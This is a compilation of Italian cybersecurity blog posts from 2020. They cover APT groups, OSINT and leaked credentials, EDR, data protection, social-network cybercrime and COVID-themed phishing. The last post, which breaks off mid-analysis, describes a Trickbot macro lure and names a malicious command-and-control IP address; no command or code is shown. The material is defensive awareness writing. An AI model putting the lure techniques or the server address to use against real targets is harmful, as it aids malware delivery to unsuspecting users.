APT 18 «Wekby» - attribuibile alla Cina, sono i creatori di Gh0st Rat;
APT 17 «Deputy Dog» - attribuibile alla Cina; famosi alcuni attacchi contro istituzioni governative statunitensi condotti con il malware «Blackcoffe»;
APT 16 - attribuibile alla Cina e molto attivo nei confronti di Taiwan e Giappone;
APT 12 «Calc Team» - attribuibile alla Cina e attivo contro la stampa occidentale;
APT 1 - direttamente attribuibile all’Esercito Popolare di Liberazione Cinese;

Alla ricerca delle credenziali perdute: l'analisi OSINT

Fabio Crestani — Tue, 07 Jul 2020 14:16:01 +0000

Ti sarà sicuramente capitato di ricevere una telefonata da un numero sconosciuto, salvarlo e andare a visualizzare la foto di quella persona su WhatsApp per verificare chi fosse. Questa, anche se in modo semplificato, si può definire un’analisi OSINT.

OSINT: Open Source INTelligence. Un’attività più longeva di quello che si pensa e largamente utilizzata nell’ambito della Cyber Security, ma non solo: giornalisti, reporter, agenzie investigative ne fanno uso per le loro attività.

L’analisi OSINT consiste nella raccolta delle informazioni pubbliche (Open Source, appunto) di una determinata azienda o persona.
Prima di comprenderne i possibili impatti (piccolo spoiler: decisamente importanti!), facciamo una breve digressione sulla base fondante di questa attività: la presenza delle informazioni che ci riguardano in rete.

L’informazione in rete: quando diventa pubblica

Le informazioni che ci riguardano e che carichiamo in rete – le foto, i documenti, la mail, la data di nascita – possono essere trovate, salvate e utilizzate. Capiamo come.

In principio furono i “data breach” (un esempio recente è quello di Inps). Quando un’organizzazione subisce un attacco e questo ha successo, i dati vengono prima esfiltrati e poi pubblicati; se ci siamo registrati su quel sito o abbiamo collaborato con quell’ente, allora è probabile che le nostre informazioni (nome, cognome, mail, data di nascita, ecc.) finiscano nel Dark Web, il mercato nero della rete. Esiste anche l’ipotesi che le informazioni sottratte non vengano subito pubblicate, ma vengano prima messe in vendita.

Recuperare queste informazioni non è semplicissimo, ma è ciò che fanno i Cyber criminali (e, per fini opposti, gli esperti di Cyber Security ed Intelligence). La prima fase o Fingerprint di un attacco è proprio quella di “information gathering”.

Un altro modo molto comune per raccogliere le informazioni di terzi è far leva sui Social Network: se la privacy dei nostri profili di Facebook e Instagram non è settata correttamente, ad esempio, sarà molto facile recuperare il nome del nostro cane, il paese in cui abitiamo, le nostre abitudini.

L’obiettivo è sempre uno: sfruttare queste informazioni per scopi illeciti. Il più diffuso è il phishing.

Più informazioni di una persona riesco a trovare, maggiore sarà l’accuratezza della comunicazione esca e quindi la probabilità che quella persona abbocchi.

Avere a disposizione il nome e cognome di una persona rappresenta già una quantità di nozioni utili a riuscire nell’attacco, specialmente se stiamo parlando di figure apicali. Sono molto comuni i casi di CEO fraud: solo conoscendo il nome dell’amministratore delegato, si può impersonificarlo e creare mail credibili con cui spingere i collaboratori dell’azienda a “cliccare sul link” o “scaricare l’allegato” o “fare questo bonifico urgente”, nel caso in cui la vittima designata sia una persona del reparto Finance.

Informazioni aggiuntive come la data e il luogo di nascita possono rendere le comunicazioni del Cyber criminale ancora più credibili. Un esempio è il Man in the Middle, ovvero quel tipo di attacco informatico in cui l’attaccante intercetta e si inserisce in una conversazione (di solito trattative vie e-mail). Lo scopo è tipicamente pilotare la conversazione fino ad indirizzare un pagamento su un IBAN diverso da quello che prevedrebbe la trattativa.

Dall’individuo all’azienda

Possedere queste informazioni è una conditio sine qua non se si intende procedere con un attacco ben congeniato. I motivi per cui un’azienda viene attaccata possono essere molti. Un’organizzazione criminale è interessata a fare soldi, ottenere altri dati da sfruttare in futuro o, ad esempio, le è stato commissionato un attacco da un competitor per ottenere vantaggio competitivo.

L’attacco informatico spesso e volentieri però, non è indirizzato a quella specifica azienda, ma passa dall’anello più debole di una qualsiasi organizzazione: le sue persone. Spieghiamo meglio: se l’azienda “X” ha credenziali esposte di una o più persone del Management Team, è probabile che il Cyber criminale le sfrutterà, indipendentemente da ciò che l’azienda può offrire in termini di dati/denaro.

La chiave, per un attaccante, quindi è far leva sulle vulnerabilità delle identità digitali. Essere vulnerabile nella propria identità digitale “privata” corrisponde molto spesso all’esserlo in quella professionale. Questo accade perché è piuttosto diffusa la pratica di utilizzare password correlate – o addirittura identiche - per utenze private e lavorative; o ancora utilizzare la mail aziendale per iscriversi a servizi generici. Un esempio noto di data breach è LinkedIn, che nel 2012 si è visto esporre le credenziali di ben 6.5 milioni di account. Molte delle credenziali esposte erano verosimilmente correlate agli account aziendali degli utenti coinvolti.

Lasciare tracce nel web come interessi, password, o addirittura una webcam esposta su internet (ad esempio quelle di sorveglianza che si collegano tramite wi-fi), è l’equivalente di chiudere la porta di casa a chiave ma lasciare spalancata la finestra sul retro.

Veniamo ora alla domanda che ti stai facendo dall’inizio di questo articolo:

Posso capire con certezza se ho subito un Data Breach?

La risposta è duplice.

Affidandoti ad esperti di Threat Intelligence, puoi fare una ricerca più o meno approfondita sia nel Clear Web che nel Dark Web e scoprire se hai mai subito un data breach e su che sito. Questa è una buona notizia, perché ti permette di intervenire, ad esempio cambiando le password. Tuttavia non è detto che l’attaccante pubblichi sempre le credenziali rubate. Spesso e volentieri l’organizzazione criminale, una volta recuperate le credenziali, ci fa quello che vuole, con chi vuole, quando vuole. E ancora, puoi trovare delle credenziali esposte, ma non puoi sapere con certezza da quanto tempo siano presenti.

Questo secondo punto è anche il motivo per cui è difficile stabilire con certezza quando è il caso di effettuare un’analisi OSINT sulla propria persona. L’urgenza varia e bisogna considerare alcuni aspetti:

le abitudini di Cyber Security: ad esempio cambiare spesso password e utilizzare un password manager sono buone abitudini che abbassano – ma non eliminano del tutto – il rischio di essere violati;
la rilevanza professionale: una figura apicale avrà sempre più appeal di una di staff;
evidenza di accessi non autorizzati;

Abbiamo intitolato questo articolo “Alla ricerca delle credenziali perdute”, aggiungiamo che se sono perdute e pubblicate, è assolutamente possibile ritrovarle. Internet non dimentica.

Vuoi avere maggiori informazioni? Hai altre curiosità? Prenota il tuo speed date con noi e ponici le tue domande!

Rilevare e rispondere alle minacce con l'Endpoint Detection and Response

Filadelfio Emanuele — Thu, 25 Jun 2020 10:36:01 +0000

I sistemi di Endpoint Detection and Response (EDR) hanno l’obiettivo di risolvere i limiti tipici degli antivirus per aumentare la protezione della postazione di lavoro in un contesto di Data Loss Prevention (DLP). Ecco come funzionano e quali vantaggi comportano per le aziende.

La protezione della postazione di lavoro (endpoint) assume un ruolo di estrema importanza all’interno di un piano per migliorare il livello di security in azienda e la sicurezza dei dati aziendali in un contesto di Data Loss Prevention (DLP): ecco perché tutti i vendor di prodotti di endpoint security hanno inserito all’interno delle loro soluzioni moduli di Endpoint Detection and Response (EDR) per migliorare l’efficacia della protezione: andiamo ad analizzare come tali strumenti rispondono alle nuove necessità.

Endpoint Detection and Response: cos’è e i vantaggi

L’Endpoint Detection and Response raggruppa gli strumenti avanzati che hanno il compito di rilevare minacce su endpoint ed eseguire attività di indagine e risposta.

Tali componenti tecnologiche sono ovviamente estendibili anche al mondo server per la protezione dei sistemi business critical, ma ricoprono un ruolo fondamentale nella protezione dei dispositivi utilizzati dai dipendenti o collaboratori. Per comprendere meglio i benefici di tali strumenti e i loro utilizzi, dobbiamo analizzarli in un quadro completo di protezione aziendale.

Sembra superfluo e scontato indicare che un sistema antivirus è la base di partenza di questa pila tecnologica, ma rimane ad oggi il fondamento. Un normale antivirus basa la sua protezione su un sistema “a firme” ovvero confronta il file che sta verificando con il suo database fornito dal vendor. Tali database vengono aggiornati quotidianamente ma, come è possibile intuire, introducono un periodo di tempo necessario per:

identificare un nuovo file malevolo;
categorizzare la minaccia;
inserirla nel database;
rendere il database disponibile per il download;
attendere che l’agente locale aggiorni le firme.

Questi passaggi, seppur standard nel mondo degli antivirus, introducono un tempo “buio” in cui la minaccia è presente, ma non è stata ancora inserita nei database degli antivirus.

Oltre a questo limite temporale, dobbiamo aggiungere anche un limite strutturale: se un file o un eseguibile viene modificato anche solo parzialmente, cambiando ad esempio una riga del codice e ricompilandolo, risulterà come “nuovo” e dovrà passare attraverso il ciclo di analisi e categorizzazione, aggiungendo un ulteriore delay.

Il limite più grosso di questi antivirus riguarda l’impossibilità di rispondere in modo efficace ad attacchi “0-day” ossia la mancanza di strumenti che permettano di identificare nuove minacce senza che queste siano già presenti nei database dei vendor. Le nuove minacce sono ormai uno dei punti di maggiore attenzione e di rischio per le aziende.

EDR: come funziona

L’evoluzione degli attacchi e i limiti sopra descritti ha reso la necessità di estendere questo modello basato su firme con ulteriori tipologie di analisi e identificazione, passando da un semplice confronto di file, all’analisi attiva del comportamento e delle attività che vengono eseguite dai file o dalle applicazioni usate dagli utenti.

Questo nuovo approccio, tiene traccia di tutte le attività che vengono svolte, le correla tra di loro e applica algoritmi avanzati per identificare attività malevole.

Tali attività prese puntualmente potrebbero non essere identificate come pericolose, ma la loro catena di attività può permettere l’identificazione di un malware. È quindi molto importante avere un sistema innovativo che utilizzi sistemi avanzati di machine learning.

In base al grado di confidenza e alle configurazioni del prodotto, viene generato un alert e/o cancellato o messo in quarantena il file o l’applicazione.

Con questi algoritmi avanzati, il livello di protezione è più alto rispetto al semplice antivirus, ma ci sono ancora diversi limiti che hanno richiesto lo sviluppo di ulteriori strumenti di analisi e risposta.

I limiti principali sono i seguenti:

mancanza di visibilità globale;
impossibilità di eseguire analisi storiche;
mancanza della catena completa;
mancanza di strumenti globali di risposta.

Il primo limite riguarda l’approccio dell’antivirus che mette in sicurezza il singolo dispositivo arrivando alla cancellazione o messa in quarantena del file, ma non permettendo di estendere tale protezione ad altri dispositivi presenti in azienda o sui server centrali.

Il secondo riguarda la mancanza di uno strumento che permetta di correlare tutti gli eventi degli endpoint in modo strutturato e permettere di fare ricerche su eventuali minacce che non sono state rilevate precedentemente come malevole, ma che poi si sono rilevate tali.

Il terzo riguarda la mancanza della visione completa delle attività svolte dal malware per ricostruire tutte le azioni svolte (quali file sono stati usati, quali modifiche sono state apportate, quali indirizzi sono stati contattati, quali dati sono stati esfiltrati).

L’ultima riguarda l’impossibilità di eseguire comandi sui dispositivi remoti in modo centralizzato.

I sistemi di Endpoint Detection and Response hanno quindi l’obiettivo di risolvere i limiti degli antivirus elencati sopra, permettendo di avere un quadro completo ed una visibilità il più possibile dettagliata e accurata dei client presenti in azienda.

Molti vendor stanno proponendo i sistemi antimalware ed Endpoint Detection and Response come componenti aggiuntivi della protezione base e in alcuni casi permettono di utilizzare antivirus di altri vendor. È ovvio che la protezione migliore si ottiene con lo stack completo, meglio se dello stesso produttore, ma per risolvere tematiche di investimento o di effort di sostituzione dell’antivirus attuale esistono diverse soluzioni ibride.

Il trend tecnologico e di mercato propone soluzioni Endpoint Detection and Response con console in cloud per risolvere un altro limite: con lo smart working alimentato dal periodo di quarantena, i dispositivi passano la maggior parte del loro tempo fuori dalla rete aziendale e devono essere protetti costantemente.

Il “vecchio approccio” nell’ambito dei sistemi di protezione poneva attenzione a difendere il perimetro dell’azienda, che è indispensabile e necessario, ma non più sufficiente.

Dobbiamo essere consci che il modo di lavorare degli utenti è cambiato e continuerà ad evolvere nel tempo e serve dotarsi di strumenti avanzati che sfruttino machine learning e inseriscano componenti di AI.

Caratteristiche aggiuntive di un EDR

Oltre a quanto descritto sopra, i sistemi Endpoint Detection and Response stanno evolvendo velocemente. Alcune delle funzionalità utili messe a disposizione sono:

Rilevare attacchi attraverso l’analisi degli IOC (Indicator of Compromise). Per IOC si intende qualunque indicatore che identifichi una possibile compromissione. Nei bollettini emessi dalle aziende del settore o dagli organi nazionali relativi alla sicurezza sono sempre incluse liste di IP, nomi file o altri dati che possono essere ricercati tramite EDR all’interno della propria azienda. Se, ad esempio, viene segnalato un IP pubblico malevolo o un nome file noto usato all’interno di campagne di phishing è possibile eseguire una ricerca puntuale tramite EDR per capire se l’azienda ha subito o sta subendo quella tipologia di attacco.
Strumenti per l’accesso diretto sul dispositivo. Per rispondere velocemente a un eventuale compromissione, risulta utile per il tecnico avere uno strumento per eseguire attività remote sul client in questione. Se aggiungiamo la complessità dello smart working,non sempre è possibile avere accesso al dispositivo in tempi brevi. Per questo motivo, tramite EDR e la console cloud si può accedere direttamente al client eventualmente infetto ed eseguire azioni più o meno invasive, fino alla messa in quarantena dell’interno dispositivo.

Conclusioni e consigli

Dotarsi in azienda di un sistema antivirus con antimalware ed Endpoint Detection and Response è un passo importante per aumentare il livello di protezione. È consigliato scegliere prodotti dello stesso vendor per semplificare l’integrazione, ma non è un vincolo.

I sistemi Endpoint Detection and Response hanno alcuni aspetti da non sottovalutare:

il grado di incertezza nell’identificare minacce;
la complessità nella gestione completa di tutti gli strumenti messi a disposizione.

Il primo punto è intrinseco nell’applicazione di modelli che permettono di identificare comportamenti anomali, ma che inseriscono un grado di errore che va gestito, compreso e corretto giornalmente.

Il secondo è legato al livello avanzato di protezione che richiede skill e competenze verticali.

Le domande che ogni azienda deve farsi prima di dotarsi di sistemi di questa tipologia sono: “Chi gestirà il tool? Chi controllerà che il funzionamento sia corretto? Chi eseguirà attività di fine tuning? Chi riceverà gli alert ed eseguirà l’analisi?”.

Le strade sono principalmente due:

dotarsi di competenze interne con attenzione al limite della copertura oraria;
appoggiarsi a fornitori esterni che abbiamo la completa padronanza dello strumento.

👉 Il seguente articolo è stato scritto per Cybersecurity360.it 👈

Data Protection: strumenti e processi per la sicurezza dei dati aziendali

Filadelfio Emanuele — Thu, 11 Jun 2020 10:36:01 +0000

I sistemi di Data Protection devono ormai far parte integrante dei programmi di sicurezza aziendale in quanto necessari a proteggere il prezioso patrimonio informativo. Ecco gli strumenti e i processi da mettere in atto.

Il dato: l’asset più importante che ogni azienda giornalmente costruisce, alimenta, modifica, usa e per cui il suo danneggiamento impatta direttamente il business: è questo il motivo per cui qualunque organizzazione, grande o piccola che sia, dovrebbe dotarsi di un sistema di Data Protection che consenta non solo di preservare il prezioso patrimonio informativo, ma anche di gestirlo nella sua eterogeneità.

Le tipologie di dati, infatti, sono tra le più differenti: dal dato strutturato contenuto in record di database o in altri repository al dato destrutturato contenuto all’interno di mail, file, media, website e via dicendo. Ovviamente non tutti i dati hanno lo stesso livello di riservatezza e criticità per l’azienda e richiedono quindi diversi livelli di attenzione.

Per fare solo un esempio, i dati di ricerca di un farmaco sperimentale di un’azienda farmaceutica o un progetto innovativo per un nuovo prodotto richiedono strumenti e processi per preservarne la riservatezza e l’integrità che non sono invece richiesti per i contenuti statici del sito internet dell’azienda stessa o per la mail degli “auguri di Natale” scambiata tra i dipendenti. In ogni caso è comunque necessario ridurre la possibilità che il dato venga perso, sia esso trafugato da malintenzionati (data leak) o perso non intenzionalmente (data loss), tenendo presente l’impatto economico che può avere sull’azienda.

Data Protection: un vero e proprio ecosistema

Quando si parla di Data Protection si intende un ecosistema di strumenti, tools e processi cha hanno l’obiettivo di proteggere i dati sensibili e importanti per il business dell’azienda, con particolare focus su:

classificazione: ci sono differenti tipologie di dati ed è necessario la classificazione degli stessi prestando attenzione al livello di sensibilità e criticità dell’informazione in esso contenuta;
violazione: è importante identificare con celerità ogni violazione alle policy interne o accessi non autorizzati da parte di terzi, siano essi interni o esterni. Deve essere presente un sistema automatico che possa generare alert a fronte del verificarsi di questi casi e sistemi di mitigazione a disposizione dell’azienda;
protezione: devono essere realizzati, mantenuti e fatti evolvere i sistemi di protezione, che siano essi statici o dinamici. L’obiettivo primario deve essere quello di prevenire ogni perdita per furto, attacco informatico o semplicemente errore umano;
compliance: è necessario verificare continuamente di avere policy compliant con i vari regolamenti a cui si deve sottostare (ad esempio, il GDPR).

La giusta strategia di Data Protection

Ci sono differenti strategie possibili ed è sempre necessario implementarne più di una per poter raggiungere un livello di protezione soddisfacente per la propria realtà aziendale.

Gli ambiti su cui operano questi sistemi sono:

Data in Transit protection (a volte definita anche “Data in Motion protection”): si focalizza sulla protezione del dato in transito, sia all’interno della rete privata che tramite internet. Molto spesso si sottovaluta questa parte in quanto si pone maggior attenzione sul dato memorizzato e non sul percorso che esso compie per raggiungere la destinazione.
Data in Use protection: si focalizza sulla protezione del dato in uso, in continua modifica o aggiornamento da parte dell’utente o delle applicazioni. Per la loro natura, le informazioni contenute in questa forma sono particolarmente critiche perché rappresentano l’operatività reale e puntuale degli utenti e sono vulnerabili ad attacchi esterni.
Data at Rest protection: si focalizza sulla protezione del dato memorizzato all’interno dei vari dispositivi o archiviato su vari supporti storage. Il dato non è quindi in transito o in uso e per questo motivo si presuppone che sia meno vulnerabile. Il suo valore è sicuramente alto ed è necessario proteggerlo con strumenti adeguati.

Data Protection: da dove partire?

Per strutturare un sistema di Data Loss Prevention realmente efficiente ed efficace occorre, ovviamente, definire innanzitutto un piano d’azione che comprenda i seguenti passaggi:

Definire il dominio principale di protezione. È necessario intervistare i propri utenti per identificare i tipi di dato che vengono scambiati e dove vengono memorizzati. È buona norma, inoltre, non fermarsi solo alla parte IT che ha una visione prettamente tecnica, ma ragionare su altri reparti (amministrazione, progettazione, magazzino ecc.). L’obiettivo di questa prima fase è riuscire a mappare i processi di business con i dati che questi generano o utilizzano e le implicazioni che questi possono avere in caso di perdita è sicuramente essenziale per giustificare qualunque investimento. Come ultima azione, occorre identificare quali sono i dati più sensibili per l’azienda e per cui la loro sottrazione o perdita possa impattare pesantemente il business, non limitandosi solo agli ambiti HR e Finance, ma approfondendo gli ambiti con maggiore proprietà intellettuale dell’azienda.
Verificare di avere un piano di backup completo che tenga conto delle effettive esigenze. Eseguire test di restore a intervalli regolari per verificare la bontà del sistema è buona prassi. Separare, poi, le utenze amministrative che sono utilizzate sui sistemi da quelle utilizzate dai tool di backup per evitare, ad esempio, che un attacco di un ransomware possa danneggiare anche i backup con relativo impatto esteso sul business. Valutare, infine, di mettere offline parte di questi dati per proteggerli ulteriormente.
Fissare il punto di partenza. A questo punto è necessario far eseguire un security assessment e/o un compromise assessment da un ente esterno che possa verificare le misure messe in campo. Tali attività devono includere l’uso di tool, ma anche interviste verso le figure chiave e apicali dell’azienda e proporre un piano di remediation o mitigation dei rischi trovati. Per l’IT è importante analizzare gli output prodotti, calandoli all’interno dell’azienda per:
- evidenziare le aree scoperte;
- definire il dominio critico;
- pianificare le misure di emergenza per risolvere le maggiori criticità;
- pianificare un programma a medio e lungo termine che verrà aggiornato con l’evoluzione del business.
Rivedere, se presenti, i piani di business continuity, disaster recovery e le procedure per eventuali data breach. Non è sufficiente avere un ricco documento, ma è necessario pianificare test periodici e valutarne l’effettiva efficacia in casi reali. Per fare un esempio, l’emergenza covid-19 ha obbligato le azienda a cambiare profondamente l’erogazione del lavoro dei propri dipendenti e aver avuto un piano che valutasse l’impossibilità di accedere agli edifici aziendali avrebbe permesso di rispondere in modo coordinato a questa emergenza.

Siamo tutti al centro di un attacco informatico

Il mercato della criminalità informatica e l’evoluzione di questi ultimi anni ci hanno reso consci che siamo tutti possibili obiettivi dei cyber criminali. Si leggono ogni giorno articoli o notizie legato alla sottrazione dei dati di società di ogni settore merceologico, dal bancario al manufacturing, dai trasporti ai vari e-commerce.

Esserne consapevoli ci mette di fronte alla necessità di prendere precauzioni complete. Dotarsi di software avanzanti per la protezione dei dispositivi dei nostri utenti con funzioni avanzate di antimalware e di EDR è sicuramente un passo obbligato per rispondere a questa esigenza, partendo dal device.

Dall’altra parte è necessario inserire soluzioni di IDS (intrusione Detection System) e IPS per il monitoraggio e protezione della rete, sia essa interna che esterna.

Aggiungiamo inoltre la necessità di correlare i vari eventi generati da fonti diverse (AD, sistemi operativi, dispositivi di rete, sistemi di controllo avanzato del traffico di rete ecc.) e quindi è necessario valutare l’inserimento di un SIEM.

In questo percorso verso l’incremento della protezione in azienda e valutando il valore che i dati hanno, possiamo ragionare sull’inserimento di un software avanzato di Data Protection che sappia monitorare, tracciare e controllare i dati che transitano all’interno dell’azienda.

Non solo tool e software

Concludiamo questo approfondimento con alcune considerazioni:

I processi interni devono essere rivisti a fronte della criticità delle informazioni e dei dati trattati. Come vengono scambiate le informazioni sensibili? Chi gestisce e ha la responsabilità di tali processi?
Le competenze sono il punto chiave per poter gestire nel tempo questa complessità. Se ragioniamo sulla necessità di inserire un SOC, la valutazione dei costi e benefici ci porterà probabilmente a esternalizzare tale servizio. Aggiungiamo inoltre la difficoltà di gestire e coordinare tutte le soluzioni software presenti in azienda.
Avere sovrapposizioni di aree di sicurezza è sicuramente un costo aggiuntivo, ma ci permette di rispondere prontamente a eventuali incident. Ad esempio, se il sistema di antispam lascia passare una mail malevola, gli strumenti di protezione del client potrebbero bloccare un’eventuale infezione.
Il tempo è nemico di ogni organizzazione IT e non IT. Tali sistemi di protezione devono essere costantemente manutenuti e tenuti aggiornati.
Procedere per step: non inserire un cambiamento ad un processo o un nuovo software senza aver definito il beneficio e misurato nel tempo.

Cybercrime e Social Network: un binomio da non sottovalutare

Sara Loprete — Mon, 25 May 2020 14:16:01 +0000

Social, curiosi e sempre connessi: è il ritratto dell’italiano in rete.

Dalle ultime statistiche di WeAreSocial sono quasi 50 milioni le persone online in Italia, e 35 milioni quelle presenti ed attive sui canali social con una media di 1 ora e 57 minuti trascorsi al giorno sulle piattaforme. Il lockdown, inoltre, ha avuto l’effetto di amplificare la fruizione delle piattaforme social con un considerevole incremento del 30% in Italia. Con un pool di utenti di questa portata, il Cybercrime non poteva astenersi dall’approfittarne.

In realtà non si tratta di una novità, è ormai diversi anni infatti che i criminali informatici sfruttano i social media per veicolare i loro attacchi. Già nel 2018, per esempio, Trend Micro aveva rilevato l’utilizzo dei MEME per diffondere Malware utilizzando la steganografia, la tecnica utile a nascondere un messaggio all’interno di un mezzo contenitore. I MEME scaricati lanciavano l’esecuzione di un Malware, dando la possibilità ai cyber criminali di registrare screenshot, carpire i copia e incolla e leggere la lista dei processi attivi sul dispositivo infetto.


Uno degli account Twitter che ha diffuso immagini contenenti codici malevoli

Il fatto che queste attività illecite siano ampiamente diffuse purtroppo non garantisce che le persone ne siano perfettamente al corrente, soprattutto considerando che gli attacchi informatici sono in continua evoluzione.

La (troppa) fiducia è il problema alla radice

Facebook nasce nel 2004 e nel 2008 arriva in Italia. Seguito poi da YouTube, Twitter, Linkedin, Instagram… Cos’è successo in questo decennio di social network?

Le piattaforme sono diventate uno dei principali canali di comunicazione con i nostri contatti. Abbiamo creato – tramite le cosiddette “amicizie” - una catena di persone che si fidano tra loro pensando che questo ci garantisca l’autenticità della comunicazione e, di conseguenza, abbassiamo la guardia.

È proprio l’elemento fiducia che i cyber criminali sfruttano per le loro frodi. Bromium e il Dr. Michael McGuire in “Social Media Platforms and the Cybercrime Economy” illustrano come i social più popolari siano stati usati dai criminali informatici per ottenere i mezzi necessari per “amplificare, persuadere e diffondere i malware più rapidamente rispetto a email o altri vettori di attacco” e arrivare a guadagnare più di 3 miliardi di dollari a livello globale ogni anno, così suddivisi:

*Cryptomining: tipologia di malware che sfrutta i computer per generare cryptovalute senza che la vittima se ne accorga.

I metodi con cui i cyber criminali attaccano gli utenti sono tipicamente:

Pubblicità ingannevoli:sono noti i casi di Ray-Ban e Nike, attraverso le cui pubblicità fake l’utente viene spinto a cliccare con conseguente infezione della macchina;
Plug-in e App: negli anni scorsi hanno preso piede i giochi e i test di personalità. Almeno il 60% delle infezioni su Facebook, deriva dai download di questi tool;
Post, foto e video: le notifiche sono il fulcro dei social. Se vieni “taggato” da un amico in una foto o se ti viene segnalato un video che sembra divertente, perché non cliccarci sopra o scaricarlo? I cyber criminali hanno subito compreso la potenzialità di questi messaggi, nascondendo all’interno di notifiche e degli oggetti stessi la possibilità di scaricare malware sui device delle vittime;
Phishing: non solo mail. La tecnica che prevede l’inganno dell’utente la fa da padrona su ogni tipo di social media. LinkedIn, la piattaforma dedicata ai network professionali, è considerata dagli utenti più sicura ed è più facile accettare collegamenti di persone di secondo o terzo grado e aprire messaggi con collegamenti malevoli. Il risultato è che il 68% degli utenti LinkedIn che riceve una mail o messaggio malevolo, clicca sul link. Un esempio recente riguarda il boom di richieste su Facebook per proporre finanziamenti agevolati.

Un caso particolare: la piattaforma come canale di comunicazione nelle operazioni criminali

Un uso particolare delle piattaforme viene fatto da alcune organizzazioni criminali che si servono dei social network come “intermediari” per la comunicazione con i loro Server C&C - comando e controllo – ovvero macchine controllate dai cyber criminali stessi e che vengono utilizzate per gestire i dispositivi infetti e rubare quindi i dati delle vittime. Gli attaccanti usando i social network possono ingannare i reparti di sicurezza delle organizzazioni che vedranno apparentemente delle legittime connessioni generate dall’utente.

Una ricerca di Trend Micro ha evidenziato l’uso di Twitter come canale di comunicazione per controllare i Server C&C e passarsi informazioni con le macchine infettate da Anubis, un tipo di banking malware che colpisce dispositivi Android a seguito del download da Play Store di due App malevole (prontamente rimosse da Google). Altri malware coinvolti in queste comunicazioni sono, ad esempio, FakeSpy o Elirks.

La consapevolezza dell’utente è fondamentale per la sicurezza

Vogliamo porre l’accento su questo tema oggi, perché l’incremento del lavoro da casa – che ci immaginiamo possa essere anche esponenziale e duraturo nel tempo – dà origine a una crescita del rischio di cadere nella trappola degli attacchi eseguiti tramite social network e di compromettere quindi il network aziendale, in particolare:

Spesso i collaboratori si servono di un unico device per uso professionale/personale, accedendo quindi anche a piattaforme, per scopi lavorativi o meno;
La connessione di casa propria si trova naturalmente al di fuori del perimetro di difesa di un’azienda. Ovviamente una VPN (Virtual Private Network) sicura riduce i rischi di intromissioni nella rete, tuttavia non basta.


L’adozione dello Smart Working secondo una ricerca di Fondirigenti su un campione di 800 aziende italiane

Il risultato di questo fenomeno è che gli utenti utilizzano i social network esponendo a un rischio maggiore i propri dati e, verosimilmente, quelli stessi dell’azienda e dei colleghi per estensione. Comprendere il ruolo che giocano i social network nell’ampissimo mondo del Cybercrime è fondamentale per un’organizzazione, per innalzare il livello di difesa ed educare i propri dipendenti alla sicurezza e al valore del dato.

Il cambiamento culturale è faticoso: i comportamenti da mettere in campo in ufficio, in Smart Working, nella vita privata, devono essere sicuri. La consapevolezza infatti è sempre un tassello fondamentale quando si parla di Cyber Security.

All’inizio del lockdown, durante l’emergenza sanitaria, abbiamo deciso di lanciare la campagna #prepariamociallaripresa: due corsi gratuiti su temi di sicurezza informatica per utenti non provenienti dal mondo IT. Lo scopo di questa iniziativa di solidarietà digitale era aiutare le aziende ad essere preparate e non cadere vittima di attacchi informatici, soprattutto a seguito dell’implementazione del lavoro da casa.

La “fase 1” è stata caratterizzata da un incremento sostanziale di e-mail di phishing a tema coronavirus; ipotizziamo che durante questo periodo sia stata fatta una raccolta massiva di credenziali che le organizzazioni criminali utilizzeranno a partire dalla “fase 2”, con il ritorno progressivo alle attività in azienda.

In aggiunta a questo non possiamo dimenticarci che servizi specialistici, come quelli di Detection e Response sono fondamentali per rintracciare le minacce, soprattutto quando si parla di lavoro da casa, dove l’infrastruttura potrebbe essere più vulnerabile agli attacchi esterni. Un team di specialisti di sicurezza informatica è necessario per strutturare strategie di difesa per l’azienda e usufruire di strumenti di rilevamento di minacce per individuare eventuali segnali di violazione di dati.

Il phishing ai tempi dello smartworking: un report sugli attacchi più diffusi

Marco Nilo — Tue, 28 Apr 2020 13:46:01 +0000

La diffusione del Covid-19 ha avuto un impatto enorme sulle nostre vite e sulla nostra economia, ma dove noi vediamo difficoltà e criticità, l’industria del Cybercrime vede un’occasione.

L’emergenza sanitaria infatti non è stata sufficiente per frenare campagne e tentativi di phishing. Al contrario, il numero di attacchi in questo periodo si è intensificato, approfittando anche della diffusa e obbligata tendenza allo smartworking, che in alcuni casi ci ha colto impreparati.

Abbiamo svolto un’analisi dei più diffusi attacchi e mentre gli oggetti e i testi delle e-mail cambiano da caso a caso, possiamo affermare che i file e le infezioni che si nascondono all’interno dei messaggi sono piuttosto comuni e diffusi.

L’inizio degli attacchi e il picco di infezioni

Come segnalato dal CERT-PA (Computer Emergency Response Team per la pubblica amministrazione) nelle ultime settimane, gli attacchi hanno avuto inizio dai primi giorni di Marzo e si sono protratti per i successivi due mesi, fino ad ora, in cui si è avuto un picco di infezioni.

Gli oggetti delle mail in questione – bisogna dirlo – non sono particolarmente fantasiosi , tuttavia in un periodo di emergenza come questo possiamo immaginare che un utente poco attento o poco esperto sia incuriosito e spinto ad aprire una mail con un oggetto riguardante il tema più importante del momento. Per fare qualche esempio: abbiamo notizie di comunicazioni dall’oggetto “Corona virus cure for china, italy”; altri tentativi che,approfittando dell’intensa corsa agli acquisti online, fanno leva su oggetti come “Cancel shipment due to corona virus – new shipping details” o ancora “New COVID-19 prevention and treatment information” per comunicare presunte informazioni su prevenzioni e trattamenti da seguire.

Nonostante la varietà degli argomenti e dei contenuti delle mail, i malware veicolati attraverso gli allegati di queste comunicazioni sono già noti: Trickbot, Ursnif ed Emotet. Si tratta di malware in circolazione ormai da anni e che ciclicamente vengono ritoccati per provare a renderli non rintracciabili da soluzioni anti-malware.

Esempi e analisi delle mail di phishing in circolazione

Vediamo nello specifico alcuni esempi di mail malevole che trascinano con sé allegati in grado di infettare la macchina con uno dei malware sopra citati.

Esempio n°1: Trickbot

Il primo esempio è una mail dall’oggetto “Coronavirus: informazioni importanti su precauzioni” che sta circolando in queste settimane. L’e-mail, che pretende di contenere delle precauzioni, ha come allegato un documento word comunemente tipicamente nominato: “f21368535400.doc”, “Covid_19_test_form.doc”, “guida_coronavirus.doc”, ecc.

C’è più di una variante di questa mail e più di una variante dell’allegato annesso, ma il flusso è praticamente lo stesso: l’utente viene indotto ad aprire il documento e ad eseguire (volontariamente o involontariamente in base ai settaggi sull’abilitazione) delle macro. Il codice della macro esegue il download di un file - appartenente alla famiglia “Trickbot” - che ha il compito di infettare la macchina della vittima. Il documento word si presenta in questa maniera:

In questo caso, l’utente viene ingannato e spinto ad abilitare e ad eseguire la macro. Il codice della macro è chiaramente offuscato ma, deoffuscandolo e facendo esplodere il file in una sandbox,

il codice prova a collegarsi ad un server all’IP 37.1.212.70 attraverso il seguente comando:

